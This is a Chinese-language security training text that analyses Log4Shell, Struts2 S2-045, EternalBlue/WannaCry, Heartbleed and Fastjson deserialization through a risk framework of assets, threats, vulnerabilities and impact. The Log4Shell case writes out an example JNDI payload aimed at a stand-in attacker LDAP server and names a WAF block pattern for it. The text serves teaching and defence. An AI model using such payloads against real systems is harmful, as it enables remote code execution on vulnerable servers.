案例库 · 第一类:真实漏洞事件

这一类练什么: 一个漏洞曝光了,怎么用「资产 / 威胁 / 脆弱性 / 影响」四要素,看清”它为什么这么严重”。

读法: 先看”问题”,自己在脑子里过一遍”要是我,第一反应是什么”,再往下看”一般人怎么想”——如果你和它想的一样,别慌,那说明你要练的正是下面那一段。

本类口诀: 分数是漏洞的,风险是环境的。漏洞本身只是”脆弱性”,它到底多可怕,要看威胁(有没有人已经在打)和影响(打中你的资产疼不疼)。


案例 01:Log4j / Log4Shell(CVE-2021-44228)

问题: 一个”记日志”的库出个漏洞,凭什么让半个互联网在 48 小时内进入战时状态?

案例: 2021 年 12 月,Apache Log4j(Java 世界最通用的日志库)被曝出 Log4Shell。攻击者只要让服务器记录一条恶意日志——比如在用户昵称、User-Agent 里塞一个字符串 jndi:ldap://攻击者服务器/xxx——服务器就会去攻击者的服务器下载并执行代码。CVSS 直接给了满分 10.0,全球几乎所有用 Java 的互联网公司连夜应急。

一般人怎么想: “日志库?不就是一个 System.out.println 的高级版吗?出漏洞升级一下版本不就完了。大惊小怪。”

咱们怎么想: 先别急着问”怎么修”,先问三个问题——它是什么性质的脆弱性?它的威胁从哪来?它打中了哪些资产?

  • 脆弱性:这是 RCE(远程代码执行),而且是 RCE 里的”完美模板”——网络可达、无需登录、无需交互、攻击成本极低。
  • 威胁:攻击面是”所有能被写进日志的用户输入”。注意这句话的分量——你系统里几乎每一个接口,只要把用户输入记了日志,就都是这个漏洞的入口。攻击者不需要”找入口”,入口无处不在。
  • 影响:Java 后端遍地都是,你根本数不清自己公司几万个系统里,到底哪些悄悄用了 Log4j。

分析过程(完整拆一遍):

  1. 定位脆弱性:它不是”日志写错了”,是 Log4j 在解析日志里的 ${...} 占位符时,会去执行 JNDI lookup,而这个 lookup 可以被指向攻击者控制的 LDAP 服务器。一句话:把”不可信的输入”当成了”要执行的指令”。
  2. 看威胁有多容易:回看 CVSS 向量——AV:N(网络可达)、AC:L(低复杂度)、PR:N(无需权限)、UI:N(无需交互),四个”利用难度”指标全是最危险值;影响面 C:H / I:H / A:H 全打满。这就是为什么它能拿满分——不是它多精巧,是它”又好打、又打得狠”。
  3. 真正的坑在影响/资产:修起来不难(升级 + 临时加 -Dlog4j2.formatMsgNoLookups=true + WAF 拦 ${jndi:),难的是你不知道自己到底在哪用了它。一个用了十年的老系统、一个外包写的服务、一个不起眼的中台组件,都可能埋着 Log4j。
  4. 这暴露了什么:最大的教训不是”漏洞多严重”,而是”我们连自己有什么资产都答不上来”。事后全行业补”软件物料清单(SBOM)“,本质是补”资产”这一环——你看不见的东西,就守不住。

一句话启发: 最危险的漏洞,往往出在”你以为最安全的基础设施”里——因为没人盯着它,也没人知道它到底铺在了哪。对资产的无知,本身就是最大的脆弱性。


案例 02:Struts2 S2-045(CVE-2017-5638)

问题: 一个 Web 框架的漏洞,怎么会在两年后让信用巨头 Equifax 赔掉十几亿美元?(这个”后续”见第二类案例,先拆漏洞本身。)

案例: 2017 年 3 月,Apache Struts2 曝出 S2-045。攻击者在一个 HTTP 请求的 Content-Type 头里塞进恶意 OGNL 表达式,Struts2 在解析这个头时会错误地执行它,导致 RCE。不需要登录、不需要任何前置条件,一个请求就打穿。

一般人怎么想: “官方不是很快发补丁了吗?发补丁了,这事不就完了吗?”

咱们怎么想: 这里藏着一个很多人一辈子没想通的点——“补丁发布了”和”补丁打上了”是两件完全不同的事。 漏洞的杀伤力从来不是”漏洞本身”这一个变量决定的。

分析过程:

  1. 定位脆弱性:漏洞类型是 表达式注入——OGNL 是 Struts2 的表达式引擎,本质还是那句话:把不可信输入当代码执行。特别的是,攻击面是一个本该只声明”内容类型”的 HTTP 头。越不可能藏雷的地方,越没人设防。
  2. 威胁面:AV:N / PR:N / UI:N / AC:L,又是个”无门槛 RCE”。而 Struts2 大量用于金融、政务等核心系统,一旦打中,影响极大(资产的”值钱程度”高)。
  3. 关键在”影响”的时间维度:这个案例真正要教你的是——漏洞的杀伤力 = 脆弱性 × 修复的拖延。S2-045 的补丁 2017 年 3 月就出了,可 Equifax 直到 5 月被打穿、7 月才发现。补丁在硬盘里躺着的几个月,才是真正的漏洞。

一句话启发: 别把”出了补丁”当终点。安全是闭环——从”知道有洞”到”确认洞已补上”之间的每一段拖延,都是攻击者的窗口。 补丁躺着睡觉的那几个月,才是它最值钱的时候。


案例 03:永恒之蓝 MS17-010 → WannaCry

问题: 一个 Windows 的 SMB 漏洞,为什么能让一台中毒的机器,一夜感染整个内网?

案例: 2017 年 5 月,WannaCry 勒索病毒爆发,150 多个国家的几十万台机器中招,医院停诊、工厂停产。它利用的是 MS17-010(永恒之蓝)——Windows SMBv1 协议的一个 RCE 漏洞。攻击工具 EternalBlue 来自此前泄露的 NSA 军火库,被 WannaCry 打包成了”蠕虫”:一旦进入一台机器,自动扫描并感染同网段的其他机器。

一般人怎么想: “打补丁不就行了?微软不是早就发补丁了吗,那些中毒的是不是自己懒?”

咱们怎么想: 打补丁当然对,但这个案例的可怕之处,恰恰在”一个漏洞是怎么被放大的”。你要拆的不是”漏洞”,是”它凭什么从一台机器变成一场灾难”。

分析过程:

  1. 脆弱性本身:RCE,但这类 Windows RCE 每年都有,单看它不算稀奇。
  2. 真正的杀招在”威胁的形态”:它被做成了蠕虫——拿到代码执行能力后,攻击代码自带”传播”逻辑,自动扫描同网段。这一步把”单点脆弱性”变成了”会自己扩散的威胁”。判断一个漏洞的严重度,不能只看它自己,要看它能不能被用来放大。
  3. 为什么打了补丁还这么惨:因为大量机构(尤其医院、工厂这种”不敢随便打补丁、怕影响业务”的)没打——又是”补丁躺着睡觉”。但这里多了一层现实:业务连续性 vs 安全的拉锯,让”打补丁”这个动作在关键基础设施里格外难执行。
  4. 影响 + 资产:它炸开的是”内网大平网”。如果内网做了网段分段,蠕虫就扩散不动。可惜很多单位的内网是”一张大平网”,一台中招全员沦陷——影响被”平坦的网络”放大了无数倍。

一句话启发: 蠕虫把”一个漏洞”放大成”一场灾难”。你的防御不能只有”补丁”(堵脆弱性),还得有”分段和隔离”(限制影响的爆炸半径)。你管不住会不会被攻破,但你可以管住”破了之后烧多大”。


案例 04:心脏滴血 Heartbleed(CVE-2014-0160)

问题: 一个不能执行代码、只能”读内存”的漏洞,为什么被称为”互联网史上最严重的漏洞之一”?

案例: 2014 年,OpenSSL 的心脏滴血漏洞被披露。它是 TLS 协议”心跳”扩展里的一个越界读——攻击者可以反复请求服务器返回一段内存,这段内存里可能躺着服务器的私钥、用户名密码、会话 cookie。全球约三分之二的 HTTPS 网站受影响。

一般人怎么想: “不能执行代码啊,那不算严重吧?RCE 才是要命的,这种’读一点数据’的小洞,应该排在后面。”

咱们怎么想: 这就是典型的”只盯脆弱性的类型,忘了影响”。判断危害,别只问”能不能执行代码”,要问一句更狠的——泄露的东西,能不能被用来干更大的事?

分析过程:

  1. 脆弱性类型:信息泄露(对应 CVSS 影响里的 C:H,机密性高危),不是 RCE。但”类型”不决定一切。
  2. 看影响的内容:它泄露的不是普通数据,是私钥。私钥是什么?是”能开启你其他所有锁的钥匙”——拿到私钥,攻击者能解密你的 HTTPS 流量、伪造你的身份、冒充你的服务器。一个”只读”的漏洞,间接拿到了”写”和”冒充”的能力。 这就是为什么影响要”放大看”:泄露的东西的”权能”,比泄露的”类型”重要得多。
  3. 修了还没完:光升级 OpenSSL 不够,私钥可能已经被偷走了,必须吊销旧证书、重新签发、强制用户改密码。因为泄露出去的东西不会自己失效。
  4. 这补了”影响”维度的一课:不是所有漏洞修完就完了。信息泄露类漏洞需要额外的”止损”动作(换密钥、改密码),因为”泄露”这件事是不可逆的——你无法把已经流出去的数据收回来。

一句话启发: 别用”能不能执行代码”这一个标准衡量漏洞。信息泄露型的漏洞,偷走的是”钥匙”,危害往往更隐蔽、更持久。评估影响时,要看”泄露的是什么”,而不是”泄露了多少”。


案例 05:Fastjson 反序列化(系列 CVE)

问题: 国内最常见的 Java 漏洞家族是什么?为什么它”打不完”?

案例: Fastjson 是阿里巴巴开源的 Java JSON 库,国内使用极广。它的 @type 字段允许指定要反序列化的类,攻击者利用这一点,配合精心构造的 gadget 链,触发任意代码执行(RCE)。从 2017 年到 2022 年,Fastjson 被连续曝出几十个 CVE,修一个、绕一个、再修一个,成了国内安全圈”最熟悉的陌生人”。

一般人怎么想: “那就修啊,官方不是一直在发新版本吗?升到最新版不就好了。”

咱们怎么想: 这个案例要教你的是——有些漏洞不是”一次性事件”,而是”持续对抗的状态”。你的策略如果还停留在”修一次就好”,就会一直被动挨打。

分析过程:

  1. 脆弱性根因:反序列化 RCE——把不可信数据还原成对象时,还原过程本身可以触发代码执行(Java/Python 这类有”魔法方法/构造器钩子”的语言尤其危险)。核心风险点是 @type 这个”按类名实例化”的能力。
  2. 为什么打不完:因为 Fastjson 为了兼容性和功能,@type 很难彻底关掉——关了会破坏大量现有业务。这就是”功能性和安全性”的拉锯:每修一次,要么被绕过(黑名单是打地鼠,总有新 gadget),要么牺牲兼容性。脆弱性不是”没修好”,是”修不干净”。
  3. 威胁是”活的”:攻击者持续盯着新版本、找新 gadget,这是一场猫鼠游戏,不是”补丁一到就结束”。
  4. 所以策略要变:这类”打不完的漏洞”,靠”堵”是堵不住的(做),必须靠持续看(监控有没有反序列化攻击特征)+ 持续验(跟进新 CVE、验证防护是否还有效)。当脆弱性无法根除时,你要把重心移到”威胁监测”和”影响控制”上。

一句话启发: 有些漏洞不是”修一次就好”,而是”持续对抗”。面对这种,策略要从”堵”转向”持续看 + 持续验”。承认”修不干净”,才能设计出真正兜底的防御。


本类小结:五个漏洞,一把尺子

把这五个并排放,你会发现它们教你的是四个要素的不同侧面:

案例它教会你盯哪个要素
Log4j资产——你不知道自己有什么,就守不住
S2-045影响的时间维度——杀伤力 = 脆弱性 × 拖延
永恒之蓝影响的爆炸半径——分段比补丁更救命
心脏滴血影响的内容——看泄露的是什么,不是多少
Fastjson威胁是活的——修不干净,就持续对抗

看一个漏洞,别只盯它的分数和类型。 分数是”脆弱性”的标价,但真正决定它有多危险的是——威胁(有没有人已经在打)× 影响(打中你的什么资产)。这把尺子,后面四类案例会反复用。